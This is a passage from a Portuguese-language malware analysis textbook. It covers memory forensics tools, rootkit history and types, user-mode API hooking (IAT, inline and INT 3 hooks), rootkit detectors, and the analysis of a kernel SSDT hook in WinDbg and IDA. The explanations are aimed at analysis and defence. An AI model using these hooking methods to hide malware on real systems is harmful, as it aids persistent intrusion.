>>>print "Module EntryPoint: 0x%X" % mod.getEntry()
Module EntryPoint: 0x4EFC22E4
>>>
>>>imm.setBreakpoint(mod.getEntry())
0
Engenharia Reversa e Análise de Malware | 120

Primeiro atribuímos para uma variável o módulo carregado, em seguida apenas por questões
de estudo imprimimos os endereços do ImageBase e EntryPoint do módulo, com as funções
getBase() e getEntry() respectivamente. Por fim colocamos o breakpoint exatamente no EntryPoint
do módulo. Se olharmos na janela de breakpoint do ImmDbg ele estará lá.

10- Agora retire aquela opção de parar a execução nos módulos e execute o programa novamente
com F9 ou com o comando imm.run() no Python Shell. A execução irá parar em nosso breakpoint e
a partir daí é só debuggar a DLL normalmente.
Engenharia Reversa e Análise de Malware | 121

8. Memory Forensics

Memory forensics se refere a encontrar e extrair artefatos forenses da memória física do


computador, conhecida como RAM. A RAM contém informação crítica sobre o estado de execução
do sistema enquanto ele ainda está ativo. Capturando toda a RAM e analisando-a em um
computador separado é possível reconstruir o estado original do sistema, incluindo as aplicações
que estavam rodando, quais arquivos essas aplicações estavam acessando, quais conexões de rede
estavam ativas, e muitos outros artefatos. No que diz respeito à análise de malware, você também
pode utilizar memory forensics para auxiliar com unpacking, detecção de rootkits e engenharia
reversa. Esse capítulo será uma introdução de como utilizar ferramentas para capturar a RAM
(aquisição) e analisá-la em busca de informações sobre malwares.

8.1. Aquisição da memória

Antes de começar a analisar a memória, você tem que decidir qual ferramenta utilizar para
adquiri-la. Essa aquisição pode ser de toda a memória RAM do computador ou somente de um
processo ou DLL. Existem ferramentas específicas para cada uso, é importante verificar se a
ferramenta que está utilizando é compatível com o sistema onde será executada. Você também tem
que decidir onde irá salvar a memória capturada, se será no mesmo disco do sistema (que poderá
contaminá-lo) ou em um externo. Lembre-se que se for capturada toda a memória RAM do
computador, o arquivo gerado, conhecido como dump da memória, terá o mesmo tamanho da
RAM.

MoonSols Windows Memory Toolkit


http://www.moonsols.com/windows-memory-toolkit/
http://www.moonsols.com/wp-content/plugins/download-monitor/download.php?id=7

MoonSols Windows Memory Toolkit é um conjunto de ferramentas para conversão e


aquisição de memory dump no Windows. Ele foi projetado para lidar com vários tipos de dumps de
memória como VMWare snapshot, crash dump do Windows e até arquivo de hibernação do
Windows. É compatível com Windows XP e Windows 7 de 32 e 64 bits. Abaixo as ferramentas do
kit.
Engenharia Reversa e Análise de Malware | 122

MoonSols oferece a Community Edition que é gratuita para não profissionais, estudantes e
qualquer um interessado em aprender sobre dump de memória. Das ferramentas do kit destacam-se
as bem conceituadas win32dd.exe e win64dd.exe projetadas para capturar a memória RAM de
Windows 32 e 64 bits respectivamente.
Ainda há a DumpIt, que talvez seja a ferramenta mais simples de captura de memória
disponível, com apenas um clique é possível capturar toda a memória RAM do computador, ideal
para ser transportada em pendrives.

Memoryze
http://www.mandiant.com/products/free_software/memoryze/

MANDIANT Memory é uma ferramenta gratuita de forense de memória que pode ser
utilizada para adquirir e/ou analisar dumps de memória tanto em sistema ligados (live system)
quando em dumps de memória previamente capturados. Na função de aquisição de memória ela
pode ser utilizada para fazer uma cópia de toda a RAM ou somente de um processo ou driver.

LordPE

O LordPE é uma ferramenta bastante versátil, além de outras funcionalidades ela é muito
utilizada para aquisição da memória de um processo ou DLL específica.
Engenharia Reversa e Análise de Malware | 123

Sua utilização é muito simples, na lista de processos ou DLLs que estejam executando no
computador, basta clicar com o botão direito e escolher a opção dump full.

O LordPE é bastante utilizado no processo de unpacking quando é encontrado o OEP de um


EXE e depois é necessário fazer o dump de memória do processo.

8.2. Análise de Memória

Após a aquisição da memória o próximo passo é fazer a análise do dump de memória


gerado, para isso duas ferramentas são mais utilizadas: o Volatility e Audit Viewer em conjunto com
o Memoryze. Essas ferramentas permitem que a partir de um dump de memória consigamos extrair
informações úteis do malware e do sistema alvo, como processos que estavam ativos, DLLs
carregadas, conexões de rede geradas, etc.

Volatility Framework
https://www.volatilesystems.com/default/volatility

Volatility Framework é uma coleção de ferramentas open source implementadas em Python


para extração de artefatos digitais de dumps da memória RAM. As técnicas de extração são
realizadas independentes do sistema que está sendo investigado, mesmo assim fornece uma visão do
estado de execução desse sistema quando o dump da memória foi tirado.
Entre outras coisas, o Volatility Framework atualmente fornece as seguintes capacidades de
Engenharia Reversa e Análise de Malware | 124

extração de dumps de memória:


 Processos em execução
 Sockets de rede abertos
 Conexões de rede abertas
 DLLs carregadas por cada processo
 Arquivos abertos por cada processo
 Extração de executáveis da memória
 Kernel modules carregados

Por se tratar de uma ferramenta open source, há muitos plug-ins que são desenvolvidos pela
comunidade para expandir as funcionalidades do Volatility. Mais informações podem ser
encontradas na Wiki do projeto: http://code.google.com/p/volatility/w/list.

Audit Viewer e Memoryze


http://www.mandiant.com/products/free_software/mandiant_audit_viewer/

Audit Viewer é uma ferramenta open source que permite a usuários examinarem os
resultados da ferramenta Memoryze. Permite visualizar saídas XML de uma forma fácil de ser
entendida com ajuda de sua interface gráfica. Utilizando agrupamentos de dados e capacidades de
busca, o Audit Viewer torna a análise de memória um pouco mais intuitiva.

8.3. Lab 08-01 Aquisição e análise de dump de memória

Nesse Lab faremos uma introdução sobre aquisição e análise de memória no Windows. Será
simulada a execução de um malware e depois como podemos analisá-lo na memória com o
Volatility.

Material necessário
- Máquina virtual Win XP SP3
- LordPE
- MoonSols Windows Memory Toolkit (http://www.moonsols.com/windows-memory-toolkit/)
- DumpIt! (http://www.moonsols.com/wp-content/plugins/download-monitor/download.php?id=7)
- Python 2.7
- Volatility Framework (https://www.volatilesystems.com/default/volatility)
- Arquivo: Lab-08-01.rar
Engenharia Reversa e Análise de Malware | 125

9. Trabalhando com Rootkits

Rootkit é um tipo de malware que utiliza mecanismos para esconder e assegurar sua
presença no computador. Geralmente eles tentam ocultar recursos como arquivos, processos,
entradas no registro, conexões de rede, portas e tudo o mais que for interessante para seu
funcionamento. Vamos ver agora detalhes desse poderoso malware.

9.1. O surgimento dos Rootkits

O predecessor do primeiro rootkit não foi na verdade um rootkit mas sim um conjunto de
aplicações para remover evidências da invasão de um sistema. Eram chamados de “log cleaner kits”
e surgiram por volta de 1989 em sistemas invadidos. Ajudavam os atacantes a cobrirem seus rastros.
Esses kits seriam executados pelo atacante assim que ele obtivesse acesso root no servidor, as
ferramentas buscavam por vários arquivos de log onde havia registro do usuário e comandos
executados, abriam esses arquivos e estrategicamente apagavam certas linhas ou o arquivo inteiro.
Enquanto log cleaners ajudavam a ocultar o acesso inicial ao sistema, atacantes queriam
sempre estar protegidos de uma descoberta por parte do administrador do sistema. Essa necessidade
os levou a criação da primeira geração de rootkits, cujo principal propósito era executar comandos
do atacante sem ser visto. Para conseguir isso, além dos log cleaners os atacantes também copiavam
para o sistema invadido versões modificadas de comandos comuns do Unix como ls e ps. Essas
novas versões removiam da saída dos comandos os arquivos e processos utilizados pelo atacante,
como por exemplo, backdoors. Dessa forma os administradores não identificariam nada fora do
normal.
Já as gerações mais novas de rootkits utilizam suas habilidades de ocultação para ajudar
outros malwares, como programas de captura de senhas bancárias e keyloggers, a permanecerem
ocultos dos usuários e das ferramentas anti-malware. A parceria dos malwares com os rootkits tem
exigido aos desenvolvedores de rootkits aumentarem suas qualidades e capacidades de ocultação
drasticamente. Quando começaram a serem detectados no Unix os rootkits geralmente só
implementavam sua capacidade de se permanecer oculto no sistema através de um método, como
foi explicado anteriormente, já os rootkits atuais utilizam inúmeros métodos avançados. Esses
métodos serão discutidos no decorrer desse capítulo.
Engenharia Reversa e Análise de Malware | 126

9.2. Tipos de rootkits

Existem basicamente dois tipos principais de rootkits: user-mode e kernel-mode. Além


desses existe também o que chamamos de virtual rootkits que são menos conhecidos e utilizados.
User-mode rootkits são os que executam no ambiente e contexto de segurança dos usuários
do sistema, isto é, o Ring 3. É o tipo mais fácil de ser detectado e o mais simples de ser
desenvolvido. Geralmente utilizam técnicas de hook em APIs do Windows.
Kernel mode rootkits operam no mesmo nível do sistema operacional, o Ring 0.
Desenvolver um rootkit desse tipo é muito mais difícil do que um em user mode, além disso, os
sistemas operacionais frequentemente alteram porções de código do kernel com updates e novas
versões, assim os kernel rootkits não funcionam em todas as versões do Windows. Uma vez que
eles operam no mesmo nível dos drivers do sistema eles podem aumentar sua instabilidade.
Normalmente, essa é a maneira mais comum de os usuários descobrirem a presença de um rootkit,
eles notam a queda da performance, travamentos e outros erros como um reboot automático.
Com a popularização das tecnologias de virtualização, os desenvolvedores de rootkits
começaram a enxergar novas oportunidades, aí surgiu o vitual rootkit. Um virtual rootkit é um
rootkit codificado e projetado especificamente para ambientes de virtualização. Seus objetivos e
componentes são os mesmo que os outros tipos, porém as técnicas utilizadas são completamente
diferentes. Ao invés de alterar o sistema operacional para se manterem ocultos, os virtual rootkits
enganam o SO criando uma camada abaixo dele, dessa forma o SO que rodará dentro do rootkit e
não o contrário. É como se o sistema operacional estivesse rodando dentro de uma máquina virtual
que na verdade é o rootkit. Dessa maneira o rootkit tem total controle do SO.
Nos próximos tópicos veremos com mais detalhes os user mode e kernel mode rootkits.

9.3. User-mode Rootkits

User-mode rootkits executam no espaço de memória do usuário, as mesmas permissões e


restrições aplicadas à conta do usuário serão aplicadas também ao rootkit.
Rootkits possuem dois objetivos principais: manterem-se indetectáveis por ferramentas de
segurança tradicionais e manterem o acesso ao sistema invadido através de backdoors ou conexão
com servidores remotos como os de comando e controle. Além disso, os user-mode rootkits podem
conter código de elevação de privilégios, isso é mais comum em sistemas Unix (daí o nome rootkit)
já que a maioria dos usuários Windows utiliza o computador com conta de administrador.
User-mode rootkits se tornaram populares à medida que códigos-fontes livres foram
disponibilizados na Internet para qualquer fazer o download e modificar. Hoje em dia é muito fácil
Engenharia Reversa e Análise de Malware | 127

para atacantes inexperientes conseguirem desenvolver e espalhar esse tipo de rootkit. Da mesma
forma ferramentas anti-malware e antivírus passaram a detectar esse tipo de código malicioso
facilmente. Apesar disso alguns malwares atuais ainda utilizam técnicas de user-mode rootkits e
entendê-las é importante.

9.3.1. API Hooking

Uma vez que o rootkit depende de se permanecer oculto no sistema, ele deve interceptar e
enumerar as chamadas à Application Programming Interface (API) em user-mode e remover o
rootkit de qualquer resultado retornado. Esse procedimento é chamado de API hooking e deve ser
implementado de um jeito que não seja detectado pelo administrador do sistema. É fundamental
entender como API hooking funciona para entender os user-mode rootkits.
Existem algumas maneiras diferentes de implementar API hooking, tudo depende das
intenções do autor do rootkit. Um exemplo bastante discutido foi o rootkit que a Sony BMG
incorporou nos CDs em 2005. Ela criou uma tecnologia contra cópias ilegais de CD que assim que
o CD era executado no computador eram feitas instalações de softwares e modificações no registro,
tudo isso de forma oculta e com técnicas de hooking para que essas modificações permanecessem
invisíveis ao gerenciador de tarefas e registro do Windows. A intenção era que o software nunca
fosse encontrado e removido do computador, para bloquear cópias do CD. Nesse caso a intenção
não foi exclusivamente maliciosa, mas mesmo assim as técnicas podem ser copiadas por autores de
malwares para ocultarem seus arquivos.
Como sabemos, aplicações user-mode fazem interface com o kernel executando system
calls, que são funções específicas exportadas pelas DLLs fornecidas pelo sistema operacional. O
rootkit irá utilizar esse padrão de chamadas de funções para se executar, ele intercepta ou faz um
hook nessa chamada e adiciona novas funções com chamadas a códigos maliciosos.
Por exemplo, se uma aplicação user-mode quer listar todos os arquivos de um diretório do
drive C, ela deverá chamar a função da API do Windows FindFirstFile(), que é exportada pela
kernel32.dll. Um rootkit user-mode irá encontrar a função na kernel32.dll e modificá-la, assim
quando a função for chamada o código do rootkit que será executado ao invés do código da
kernel32.dll. Tradicionalmente, um rootkit poderia simplesmente chamar o código real no
kernel32.dll e filtrar os resultadosantes de devolvê-los para a aplicação.
Em um esforço para aumentar a estabilidade do sistema operacional, a Microsoft
implementou endereços virtuais de memória para cada processo, assim uma aplicação de um
usuário não pode interferir em aplicações executados por outro usuário. Dessa forma, quando uma
aplicação requisita acesso a certo endereço de memória, o sistema operacional intercepta essa
chamada e pode negar o acesso. Todavia, como todas as aplicações user-mode do Windows
Engenharia Reversa e Análise de Malware | 128

executam em seu próprio endereçamento de memória, o rootkit precisa fazer hooking e ajustar o
caminho da chamada da função no endereçamento de memória de todas as aplicações que estão
rodando no sistema para ter certeza que todos os resultados estão sendo filtrados corretamente.
Adicionalmente, o rootkit precisa ser notificado quando uma nova aplicação é carregada,
assim também poderá interceptar essa aplicação. Essa técnica é diferente das técnicas de kernel-
mode rootkits que não precisam de interceptação contínua das chamadas do sistema.
Especificamente, um kernel-mode rootkit pode fazer hooking e interceptar somente uma system call
do kernel e todas as chamadas user-mode serão interceptadas.
O primeiro passo de um user-mode rootkit é injetar seu código no processo onde ele quer
instalar um hook. Geralmente isso é feito com a injeção de uma DLL ou um shellcode, porém se o
autor do rootkit não conseguir injetar o código ele não será capaz de instalar o hook nas chamadas
das APIs. Essa injeção geralmente pode acontecer através da técnica de Windowshooks ou com as
funções CreateRemoteThread e LoadLibrary.

9.3.2. Técnicas de Hooking

Há muitos métodos e técnicas de instalar hooks em processos, iremos citar apenas três, que
são: Import Address Table hooking,inline function hooking e INT 3 hook.

Import Address Table Hooking

Essa técnica é simples e largamente utilizada em programação, tanto com boas intenções
como más intenções. Quando um executável é chamado o Windows lê a estrutura do arquivo PE e o
carrega na memória. Uma parte desse processo é a listagem de todas as funções que o executável
importa das DLLs, esse é um processo dinâmico e precisa ser realizado antes que a primeira
instrução do PE seja executada. O Windows loader então preenche uma tabela com o ponteiro de
todas as funções importadas, essa tabela é conhecida como IAT. Criando a IAT, o executável é capaz
de realizar um simples jump para o endereço de memória onde essa função está, para cada API que
é chamada pelo programa. Então, tudo que o rootkit precisa fazer agora é alterar o endereço de uma
função específica na IAT, assim a aplicação irá chamar a função maliciosa ao invés da verdadeira.
A figura abaixo ilustra esse processo.
Engenharia Reversa e Análise de Malware | 129

Inline Function Hooking

A segunda técnica para hooking é referenciada como inline function hooking. Essa técnica
modifica as DLLs do sistema operacional substituindo os primeiros cinco bytes da função alvo por
instruções do rootkit. Criando um jump para o rootkit, a função interceptada pode controlar a
função e alterar os dados de retorno.

INT 3 Hook

INT 3 (opcode 0xCC) é a instrução utilizada pelos debuggers para parar o fluxo de um
programa com um breakpoint. Ela pode ser utilizada para desviar o fluxo normal para um código
qualquer (hook) e depois retornar ao código original. Quando se utiliza esse método para hooking,
cada chamada a função “hookada” será interrompida por um INT 3 e será executado o código
malicioso, após a execução o fluxo é retornado à função original. Assim é possível sniffar o
programa antes que ele manipule os dados.

9.4. Ferramentas de detecção de Rootkits

Existem algumas ferramentas projetadas para detectarem rootkits, elas fazem uma série de
varreduras no computador para encontrar indícios de hooks. Duas bem conhecidas são:

GMER (http://www.gmer.net)
Segundo o site do desenvolvedor, GMER é uma aplicação que detecta e remove rootkits. Ela
busca por:
 Processos ocultos
 Threads ocultas
Engenharia Reversa e Análise de Malware | 130

 Módulos ocultos
 Serviços ocultos
 Arquivos ocultos
 Setores do disco (MBR) ocultos
 Alternate Data Streams
 Chaves do registro ocultas
 Drivers hooking SSDT
 Drivers hooking IDT
 Drivers hooking IRP calls
 Inline hooks

RootkitRevealer (Sysinternals Suite)


É um utilitário de detecção de rootkits que lista discrepâncias no registro e nos arquivos da
API do sistema, pode ser utilizado para detectar a presença de user-mode e kernel-mode rootkits.

9.5. Lab 09-01 Demonstração de INT 3 Hooks com PyDbg

PyDbg é um debugger open source feito em Python para Windows. Na verdade trata-se de
um conjunto de bibliotecas Python que podem ser utilizadas para realizar todas as funções que os
debuggers comuns fazem. Ele faz parte do PaiMei framework [1] que foi criado por Pedram Amini.
Nesse Lab iremos executar um processo e com ajuda do pydbg criar hooks nesse processo
para interceptar o uso de determinadas funções da API do Windows, isso fará com que entendemos
melhor na prática como o processo de hooking funciona.

[1] https://www.openrce.org/downloads/details/208/PaiMei

Material necessário

- Máquina virtual com Windows XP 32-bit


- GMER (http://www.gmer.net)
- Python 2.7
- PyDbg (vide instalação abaixo)
- Script: hooks.py

Instalação do PyDbg
Engenharia Reversa e Análise de Malware | 131

O PyDbg faz parte do framework PaiMei, então seria necessário instalar o framework para
conseguirmos utilizá-la, porém como esse processo é um pouco complicado já que são necessárias
várias configurações, fiz uma compilação somente com os arquivos necessários para o PyDbg
funcionar. Siga os passos para instalação:

1- Descompacte o arquivo libs_pydbg.zip. Serão geradas quatro pastas.


2- Copie essas quatro pastas para: C:\Python27\Lib\site-packages\.
3- Está pronto para o uso!
4- Para executar o script dos hooks use: python hooks.py –p <PID do processo>

9.6Kernel-mode Rootkits

Kernel-mode rootkit é a tecnologia de rootkit mais utilizada atualmente, e se apresenta como


a maior ameaça aos computadores. Técnicas de kernel-mode rootkits são utilizadas em ataques
sofisticados, como por exemplo, ataque às estruturas críticas de países como foi o caso do Stuxnet
[1], ou ainda espionagem industrial realizada pelo Duqu [2]. Esse tipo de rootkit pode se
permanecer oculto no sistema por muito tempo sem que ninguém descubra.
Kernel-mode significa estar no mesmo nível que o sistema operacional, portanto, um rootkit
em kernel-mode deve entender como usar as mesmas funções, estruturas e técnicas que outros
componentes do kernel (por exemplo, drivers) e o sistema operacional que ele usa. Deve também
coexistir com o sistema operacional sob o mesmo conjunto de restrições. Para entender a ameaça
que esses rootkits representam é necessário conhecer os detalhes do sistema operacional.
Na figura abaixo relembramos as estruturas internas do Windows com adição de alguns
componentes do kernel-mode, a ilustração servirá como referência para os próximos tópicos.
Engenharia Reversa e Análise de Malware | 132

A seguir discutiremos um pouco mais sobre alguns componentes kernel-mode do Windows.

9.6.1. O Kernel do Windows (NTOSKRNL.EXE)

Na verdade, o kernel do Windows pode ser dividido em dois componentes principais: o


Windows Executive e o próprio Windows Kernel. Eles estão dentro do arquivo NTOSKRNL.EXE.

Windows Executive

O Windows Executive implementa as funções exportadas pela NTDLL.DLL. Estas funções


são frequentemente chamadas de system services e são para onde as entradas na System Service
Dispatch Table (SSDT) apontam. A SSDT é um dos locais mais utilizados pelos rootkits/malware e
programas legítimos de segurança se inserir (hook) para controlar o fluxo de execução de
programas.
O Executive é na verdade composto de inúmeros subcomponentes que implementam as
Engenharia Reversa e Análise de Malware | 133

funções principais de várias system services. Esses subcomponentes incluem Configuration


Manager, Power Manager, I/O Manager, Plug and Play Manager, e muito mais. Todos estes
componentes podem ser alcançados indiretamente do use-mode através da Win32 API e diretamente
do kernel-mode através das funções da Native API (NTDLL.DLL) que começam com os prefixos
Rtl, Mm, PS, e assim por diante.
O Executive é também onde os device drivers fazem interface com suas contrapartes em
user mode. O Executive exporta uma grande variedade de funções que somente os drivers podem
chamar. Essas funções são chamadas coletivamente de Windows Native API.
O Kernel, descrito a seguir, contém grande variedade de recursos e funções não
documentadas, um fato que os kernel-mode rootkits aproveitam.

Windows Kernel

A segunda parte importante do NTOSKRNL.EXE é o próprio Kernel do Windows. O kernel


éresponsável pela gestão de recursos do sistema e pela distribuição de threads para utilizarem esses
recursos. O kernel também faz interface com o hardware através da Hardware Abstraction Layer
(HAL) e usa código assembly para executar instruções especiais da arquitetura da CPU.
O próprio kernel exporta um conjunto de funções para outros programas do kernel
utilizarem, essas funções começam com o prefixo Ke e estão documentados no Windows Driver
Development Kit (DDK). Outro trabalho do kernel é abstrair alguns detalhes de baixo nível de
hardware para os drivers.
Essas funções fornecidas pelo kernel ajudam os drivers a realizarem suas tarefas com mais
facilidade, mas elas também ajudam os autores de rootkits, que escrevem drivers, explorarem o
sistema. Isso ocorre simplesmente pelo fato que o projeto do kernel do Windows é exposto,
destinado a ajudar os fabricantes de hardware e desenvolvedores de software a estender as
capacidades e características do sistema operacional.
Embora o kernel seja relativamente protegido e isolado do Windows Executive e suas
rotinas e estruturas internas não sejam documentadas, ele ainda fica muitoexposto a quaisquer
outros componentes de kernel, incluindo rootkits.

9.6.2. Device Drivers

Device drivers existem em primeiro lugar para fazerem a interface com dispositivos físicos
de hardware através da HAL. Um exemplo simples é um driver de teclado que lê e interpreta os
códigos das teclas pressionadas e traduz isso em uma estrutura de dados utilizável pelo sistema
Engenharia Reversa e Análise de Malware | 134

operacional. Device drivers normalmente são escritos em C ou assembly e têm a extensão .sys ou
.ocx. Um kernel module é semelhante, mas tipicamente contém apenas rotinas de suporte (em vez
de funcionalidades essenciais), e é implementado em uma DLL que é importada pelo driver.
No entanto, além da função de lidar com o hardware, device drivers também são escritos
exclusivamente para acessarem componentes kernel-mode e estruturas de dados do sistema
operacional. Essa é uma função legítima para um device driver, o próprio Windows inclui muitos
drivers que fazem exatamente isso. Isso significa que muitos drivers não se relacionam com
qualquer dispositivo físico.
Device drivers são componentes únicos na arquitetura do Windows,eles têm a capacidade de
“conversar” diretamente com hardware ou utilizarem funções exportadas pelo kernel e Windows
Executive.Observe na figura acima que os drivers não se posicionam acima do kernel e nem na
HAL, eles estão ao lado dessas camadas. Isso significa que eles estão “em pé de igualdade” e
possuem pouca ou nenhuma dependência desses componentes para interagir com o hardware. Eles
podem optar por usar o Executive para tarefas como memory mapping (converter um endereço
virtual em um endereço físico) e processamento de I/O, device drivers também podem implementar
esses recursos em suas próprias rotinas eexportá-las para o user mode.
Essa flexibilidade extrema pode tanto dar mais poder ao sistema quanto colocá-lo em risco.
Enquanto isso permite o Windows ser muito flexível e “plugável”, também coloca o sistema em
risco com drivers defeituosos ou maliciosos.

9.6.3. Windows Hardware Abstraction Layer (HAL)

O kernel (NTOSKRNL.EXE) também está muito preocupado com a portabilidade e nuances


do conjunto de instruções que possam afetar a performance do sistema, como cache eambientes
com múltiplos processadores. A HAL cuida do código de implementação para lidar com essas
diferentes configurações e arquiteturas. A HAL está contida no arquivo hal.dll, que o
NTOSKRNL.EXE importa quando o kernel é carregado durante a inicialização do sistema. Uma
vez que o kernel do Windows é projetado para suportar múltiplas plataformas, o tipo adequado de
HAL e os parâmetros da HAL são escolhidos na inicialização com base na plataforma detectada
(PC, dispositivo embarcado, e assim por diante).
Muito poucos rootkits de kernel existentes lindam com a HAL, simplesmente porque émais
trabalho do que o necessário. Há muitos outros locais mais fáceis para eles se esconderem no
kernel.
Engenharia Reversa e Análise de Malware | 135

9.6.4. Kernel Drivers no Windows

Device drivers do Windows, mais conhecido simplesmente como drivers, permitem aos
desenvolvedores rodarem código no kernel do Windows. Drivers são difíceis de analisar porque são
carregados na memória, ficam residentese respondem às solicitações das aplicações. Isto é ainda
mais complicado porque as aplicações não interagem diretamente com os drivers do kernel. Em vez
disso elas acessam devices objects, que enviam os pedidos para dispositivos específicos.
Dispositivos não são necessariamente componentes físicos de hardware; os driver cria e destrói os
device objects, que podem ser acessados a partir do user mode.
Por exemplo, considere uma unidade flash USB. Há um driver no sistema que lida com USB
flash drives, mas uma aplicação não faz pedidos diretamente para esse driver, ao invés disso faz
solicitações a um device object específico. Quando o usuário insere o drive USB no computador, o
Windows cria o a "unidade F:" que é o device object. Assim um aplicativo pode fazer requisições
para a unidade F:, que em última análise, enviará o pedido para o driver responsável pelos flash
drives USB. O mesmo driver pode lidar com requisições para uma segunda unidade flash USB, mas
os aplicativos irão acessá-las através de um device object diferente, como por exemplo, "unidade
G:".
Para que esse sistema funcione adequadamente, os drivers devem ser carregados nokernel,
assim como as DLLs são carregadas em processos. Quando um driver é carregado pela primeira
vez, sua função DriverEntry é chamada, semelhante à DllMain das DLLs.Ao contrário de DLLs,
que expõem a funcionalidade através da tabela de Exports, drivers devem registrar o endereço para
as funções de callback, que serão chamadasquando um componente de software em user-mode
solicitar um serviço. O registroacontece na rotina DriverEntry. O Windows cria uma estrutura de
driver object,que é passado para a rotina DriverEntry. A DriverEntry é responsável por preencher
essa estrutura com suas funções de callback. O DriverEntry, então, cria um device que pode ser
acessado a partir do user-mode, e o aplicativo interage com o driver através do envio de requisições
para esse device.
Considere uma requisição de leitura de dados de um programa do user space. Este pedido
eventualmente será encaminhado para um driver que gerencia o hardware que armazena os dados a
serem lidos. A aplicação user-mode primeiro obtém um handle para esse device, e então chama
ReadFile nesse handle. O kernel irá processar o pedido doReadFile, e, eventualmente, chamar a
função de callback do driver responsávelpara lidar com as solicitações de leitura I/O.
A requisição mais comum encontrada em um kernel driver malicioso é a DeviceIoControl,
que é uma requisição genérica de um user-mode module para um dispositivo gerenciado por um
driver. O programa em user-mode passa um buffer de dados de comprimento arbitrário como input
Engenharia Reversa e Análise de Malware | 136

e recebe um buffer de dados de comprimento arbitrário como output.


As chamadas de um aplicativo user-mode para um kernel-mode driver são difíceis derastrear
por causa de todo o código do sistema operacional necessário para suportar a chamada. A título de
ilustração, a figura abaixo mostra como um pedido de um aplicativo em user-mode eventualmente
atinge um driver em kernel-mode. Alguns pedidos são enviados a drivers que controlam o hardware,
outros afetam apenas o estado interna do kernel.

Alguns kernel-mode malwares não tem nenhum componente significativo de user-mode. Ele
não cria nenhum device object, e o kernel driver executa por conta própria.
Drivers maliciosos geralmente não costumam controlar o hardware, em vez disso,eles
interagem com os componentes principais do kernel do Windows, o NTOSKRNL.EXE e
eventualmente a hal.dll. Malware, muitas vezes, importa funções de um ou desses dois arquivos, a
fim para manipular o kernel.

9.6.5. Os Rootkits em Kernel-Mode

A maioria dos rootkits em uso opera de alguma forma modificando o kernel. Embora
rootkits possam empregar uma grande variedade de técnicas, na prática, uma técnica é usada mais
do que qualquer outra: System Service Descriptor Table (SSDT) hooking. Essa técnica já é antiga
e fácil de detectar em relação a outras técnicas de rootkit. No entanto, ainda é usado por malwares
porque é fácil para entender, flexível e simples de implementar.
A SSDT é usada internamente pela Microsoft para buscar chamadas de funções no kernel.
Não é normalmente acessada por aplicativo de terceiro (não-Microsoft) ou drivers. Lembre-se que o
código do kernel só é acessível a partir do espaço do usuário através das instruções SYSCALL,
Engenharia Reversa e Análise de Malware | 137

SYSENTER, ou INT 0x2E. Versões modernas do Windows usam a instrução SYSENTER, que sabe
qual função que deve ser chamada no kernel através do código da função que é armazenado em
EAX.
A listagem abaixo mostra um trecho do código da NTDLL.DLL que implementa a função
NtCreateFile e deve lidar com transições do user-mode para o kernel-mode, que acontece todas as
vezes que NtCreateFile é chamada.

A chamada para dword ptr [edx] irá seguir para essas instruções:

É atribuído 0x25 em EAX, e através do EDX é chamada a segunda listagem de código.


Nessa segunda listagem o stack pointer é salvo em EDX e então a instrução SYSENTER é
chamada. Ela saberá qual função chamar no kernel através do valor 0x25, que é o código da função
NtCreateFile. Esse código será utilizado como um índice na SSDT quando entrar em kernel-mode.
Especificamente, o endereço no offset 0x25 na SSDT será chamado em kernel-mode. A listagem
abaixo mostra alguns poucas entradas na SSDT, inclusive com a chamada para NtCreateFile, no
offset 0x25.

Quando um rootkit "hooka" uma dessas funções, ele vai mudar o valor na SSDT, assim o
código do rootkit é chamado ao invés da função pretendida no kernel. No exemplo, a entrada em
0x25 teria de ser alterada para apontar para uma função dentro de um driver malicioso. Os rootkits
normalmente implementam isso chamando a função NtCreateFile original e filtrando os resultados
com base nas configurações do rootkit. O rootkit simplesmente remove todos os arquivos que quer
esconder a fim de evitar que outras aplicações possam identificá-los.
Engenharia Reversa e Análise de Malware | 138

9.6.6. Análise de Kernel-Mode Rootkit

Agora, iremos analisar um exemplo de rootkit que “hooka” a SSDT. Iremos analisar um
sistema hipoteticamente infectado, que imaginamos conter um driver malicioso instalado.
O primeiro jeito, e mais óbvio, de procurar por um SSDT hooking é examinando a própria
SSDT. A SSDT pode ser vista com o WinDbg no offset armazenado em
nt!KeServiceDescriptorTable. Todos os offsets de funções na SSDT devem apontar para alguma
função dentro dos limites do NT kernel, então a primeira coisa que podemos fazer é descobrir esses
limites. Em nosso caso, o NTOSKRNL.EXE inicia no endereço 804d7000 e termina em 806cd580.
Se um rootkit estiver “hookando” uma dessas funções, a função provavelmente não apontará para o
NT Kernel. Quando examinamos a SSDT, vemos que há uma função que aparentemente não se
encaixa na tabela. Abaixo uma pequena listagem da SSDT.

O valor no offset 0x25 na tabela (marcado como 1) aponta para uma função que está fora
dos limites do módulo NTOSKRNL, então um rootkit deve estar fazendo hooking dessa função. A
função que está sendo “hookada” nesse caso é NtCreateFile. Nós podemos descobrir qual função
está sendo "hookada" examinando a SSDT de um sistema sem o rootkit instalado e ver qual função
está localizado no offset.
Podemos descobrir qual módulo contém o endereço do hook listando osmódulos abertos
com o comando lm como mostrado na listagem abaixo. No kernel,os módulos listados são todos
drivers. Nós encontramos o driver que contém o endereço 0xf7ad94a4, e vemos que ele está dentro
do driver chamado Rootkit.
Engenharia Reversa e Análise de Malware | 139

Assim que identificamos o driver, iremos olhar para o código do hook e começara analisar o
driver. Vamos olhar para duas coisas: a seção de código queinstala o hook e a função que executa o
hook. A maneira mais simplespara encontrar a função que instala o hook é buscar no IDA Pro pelos
dados que fazem referência à função de hook. A listagem abaixo é uma listagem em assembly do
código que "hooka" a SSDT.
Engenharia Reversa e Análise de Malware | 140

Esse código "hooka" a função NtCreateFile. As duas primeiras chamadas de função em 1 e 2


criam strings para a NtCreateFile e a KeServiceDescriptorTable que serão utilizadas para localizar o
endereço dos Exports, que são exportados por NTOSKRNL.EXE e podem ser importadas por
kernel drivers, assim como qualquer outro valor. Esses Exports também podem ser obtidos em
tempo de execução. Você não pode carregar a partir do kernel-mode a função GetProcAddress, mas
a MmGetSystemRoutineAddress é a equivalente do kernel, embora seja um pouco diferente da
GetProcAddress na medida em que pode obter endereços para Exports somente a partir da HAL e
dos módulos do kernel NTOSKRNL.
A primeira chamada para MmGetSystemRoutineAddress 3 revela o endereço da
funçãoNtCreateFile, que será usado pelo malware para determinar quais endereços substituir na
